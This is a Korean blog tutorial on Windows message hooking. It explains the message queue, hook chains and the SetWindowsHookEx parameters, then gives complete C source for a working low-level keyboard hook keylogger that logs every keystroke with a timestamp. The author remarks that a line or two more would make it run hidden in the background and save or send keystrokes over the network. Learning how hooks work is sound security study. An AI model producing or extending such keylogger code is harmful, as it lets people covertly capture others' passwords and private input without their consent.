Try Attack/Reverse Engineering[basic]

(키보드훔쳐보기) 메세지후킹/키로거제작

D4tai1 2020. 3. 30.

후킹이란 무엇일까요?

 

위키백과왈

 

"후킹은 소프트웨어 공학 용어로, 운영 체제나 응용 소프트웨어 등의 각종 컴퓨터 프로그램에서 소프트웨어 구성 요소 간에 발생하는 함수 호출, 메시지, 이벤트 등을 중간에서 바꾸거나 가로채는 명령, 방법, 기술이나 행위를 말한다."

 

라고 합니다.

 

 

딱 봐도 나쁜기술로 보이네요.

 


 

쉬운 예로 

 

조금 비싼?키보드에는 일반키보드에 없는 기능들이 있죠?

 

volumn UP키, 잠금키 등은 원래 정의되어 있지 않기 때문에

 

키보드제조사에서 훅을 걸어놓고 특정한 키가 입력이 되었다면

 

원하는 동작을 하도록 재정의를 해준 것 입니다.

 

즉, 가로채서 변경한 것이죠!

 


 

KVM스위치도 마찬가지입니다.

 

사용자가 키보드 입력을 할 때 

 

특정 키가 입력이 되었다면 어떤 곳으로 보낼지 정의가 되어있는 것이지요!

 

이와 같이 꼭 나쁜 곳에만 쓰이지는 않습니다.

 


 

ARP스푸핑도 기술만 보면 나쁜 것 같지만

 

NAC장비에서 좋게 활용하면 좋은 것처럼 말이죠!

 

하하

 

 

메세지전달과정을 알아보겠습니다.

 

[그림1] 메세지 전달과정

 

먼저 사용자가 어떤 키보드를 누르면

 

WM_KEYDOWN 메세지가 OS message queue에 쌓입니다.

 

OS는 어떤 응용프로그램에서 이벤트가 발생한지 확인 후 

 

application message queue에 전달해주고

 

응용프로그램은 자신의 메세지큐에 있는 메세지를 확인하게 됩니다.

 

OS메세지큐와 응용프로그램메세지큐 사이에 

 

훅체인(hook chain)을 설치하면

 

응용프로그램에 도달하기 전에 메세지를 열람하고 변경할 수 있습니다.

 

특정 이벤트가 발생했을 때

 

어떤 함수를 호출해야할지 알려주는 API인 

 

SetWindowsHookEx()에 대해 알아보겠습니다. 

SetWindowsHookEx() 
HHOOK SetWindowsHookEx(
    int idHook,      
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);

 

첫 번째 파라미터는 어떤메세지가 들어왔을 때 동작하게 할 것인지!

 

즉, 후킹할 메세지를 작성합니다.

 

 

두 번째 파라미터는 첫 번째 파라미터에 해당하는 메세지가 들어왔을 때 

 

호출할 콜백함수를 작성합니다.

 

여기서 호출하는 콜백함수는 DLL 내에 있는 함수를 말합니다.

 

콜백함수의 주소를 구하기 위해서는 GetProcAddress()

 

이용하면 됩니다.

 

 

세 번째 파라미터는 DLL의 주소를 작성합니다.

 

DLL의 주소는 LoadLibrary()를 이용하면 알 수 있죠?

 

 

네 번째 파라미터는 DLL을 삽입하려는 쓰레드의 ID를 작성합니다.

 

GetCurrentThreadID()를 이용하면 됩니다.

 


 

위 내용이 이해가 안간다면?

 

첫 번째 파라미터는 상수로 정의되어 있습니다.

 

이곳에 들어갈 수 있는 메세지는 총 15개 입니다.

 

WH_CALLWNDPROC, WH_CALLWNDPROCRET, WH_CBT, WH_DEBUG, WH_FOREGROUNDIDLE,

WH_GETMESSAGE, WH_JOURNALPLAYBACK, WH_JOURNALRECODE, WH_KEYBOARD, WH_KEYBOARD_LL,

WH_MOUSE, WH_MOUSE_LL, WH_MSGFILTER, WH_SHELL, WH_SYSMSGFILTER

 

두 번째 파라미터의 콜백함수란..?

 

시스템에서 이벤트가 발생했을 때 OS가 호출하는 형태의 함수를 의미합니다.

 

>_<???????

 

조금 더 풀어서 설명하면

 

회사에서 면접을 보고왔는데 결과가 궁금해서

 

모든 사용자가 회사에 계속 전화를 합니다..

 

비효율이겠죠?

 

그래서 면접결과가 나왔을 때 회사에서 통보해주는 것과 비슷하게 생각하면 됩니다.

 

덧 붙여보면 특정 이벤트가 발생했을 때! OS가 호출한다고 보면 되겠죠?

 

GUI프로그래밍 시 들어온이벤트에 따라 이리저리 반죽할 수 있는

 

WndProc함수가 대표적이죠!

 

 

 

세 번째 파라미터의 DLL의 핸들은 

 

DLL의 시작주소를 얻어서 작성하면 됩니다.

 

LoadLibrary로 얻을 수 있습니다.

 

네 번째 파라미터의 쓰레드!

 

함수는 있지만 누군가 동작을 시켜줘야겠죠?

 

실질적으로 일을 하는 아이라고 보시면 됩니다.

 

참고로 쓰레드는 윈도우를 생성하고 소유할 수 있고 그 때 사용하는 메세지큐도 가지고 있습니다.

 

서비스 프로세스의 경우 윈도우를 표시할 수 없다는 것도 알아두세요.

 

서비스는 사용자와의 커뮤니케이션이 아닌 동작에 대한 작업만 처리하기 때문이죠!!

 

자꾸 다른길로 세는 느낌이라 여기까지!

 

결론적으로

 

언제 : 후킹설정한 메세지가 발생했을 때!

 

어디에 : 메세지를 발생시킨 프로세스에!

 

누가 : 특정 쓰레드가

 

어떻게 : DLL의 핸들러를 가지고

 

무엇을 : 메모리에 적재된 프로세스에 DLL을 삽입합니다.

 

이후 메세지큐에 있는 Callback함수를 호출합니다.

 

키로거를 제작해보았습니다.

 

[영상] Keylogger

 

※ 별첨! -> 영상 내 키로거 소스

#include <Windows.h>
#include <stdio.h>

HHOOK hHook;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
		PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam;

		
		//Code가 0보다 클 때에만 처리, 작으면 통과
		//wParam==WM_KEYDOWN(0x100)은 키보드를 누를 때 
		//wParam==0x10B는 키보드를 땔 때 코드가 실행
		if (nCode >= 0 && (int)wParam == 256) {
			//lParam포인터(pKey)가 가리키는 곳에서 vkCode(키보드값)를 읽음

			SYSTEMTIME st;
			GetLocalTime(&st);
			
			printf("[%02d_%02d_%02d_%02d:%02d:%02d] : ", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);

			if ((GetAsyncKeyState(VK_LCONTROL) & 0x8000) || (GetAsyncKeyState(VK_RCONTROL) & 0x8000)) {
				printf("[Ctrl] + ");
			} 
			else if ((GetAsyncKeyState(VK_LSHIFT) & 0x8000) || (GetAsyncKeyState(VK_RSHIFT) & 0x8000)) {
				printf("[Shift] + ");
			}
			else if (VK_BACK == pKey->vkCode) {
				printf("[Backspace] \n");
			}

			if (VK_LSHIFT == pKey->vkCode || VK_RSHIFT == pKey->vkCode) {
				printf("[Shift] \n");
			}
			else if (VK_LCONTROL == pKey->vkCode || VK_RCONTROL == pKey->vkCode) {
				printf("[Ctrl] \n");
			}
			else if (VK_RETURN == pKey->vkCode) {
				printf("[Enter] \n");
			}
			else if (VK_SPACE == pKey->vkCode) {
				printf("[Space] \n");
			}
			else {
				printf("%c \n", pKey->vkCode);
			}
		}
	}
	CallNextHookEx(hHook, nCode, wParam, lParam);
	//후킹이 끝나고 원래 작업을 하기위해서 사용한다고 생각

	return 0;
}

void SetHook() {
	HMODULE hInstance = GetModuleHandle(NULL);
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
}

void UnHook() {
	UnhookWindowsHookEx(hHook);
}

int main() {
	printf("[Key_Logger] >>> Start\n");
	SetHook();

	MSG msg;
	GetMessage(&msg, NULL, NULL, NULL);
	//메세지큐에서 메세지를 읽음
	//메세지가 WM_QUIT일 경우 프로그램을 종료하라는 의미이므로 False를 반환
	//오지랖 : while문과 함께 사용 시 프로그램종료 시까지 메세지큐에 있는 메세지를 읽을 수 있음

	UnHook();
}

 

 

동작을 확인하기 위해 콘솔로 제작하였지만

 

필요하다면 백그라운드형태로 제작 후 파일로 저장하거나 

 

네트워크를 통해 외부로 전송할 수도 있습니다.

 

한 두 줄만 추가하면 되지만 나쁜?짓에만 사용하지 않으면 좋을 것 같아요!

 

 

'Try Attack > Reverse Engineering[basic]' 카테고리의 다른 글

[전지적해커시점] DLL Injection  (2) 2020.05.03
PE파일 섹션 추가 및 삭제하기  (0) 2020.03.24
PE재배치  (0) 2020.03.23
EasyCrackMe - reversing.kr  (0) 2020.03.12
main함수 위치를 찾는방법  (0) 2020.03.02

댓글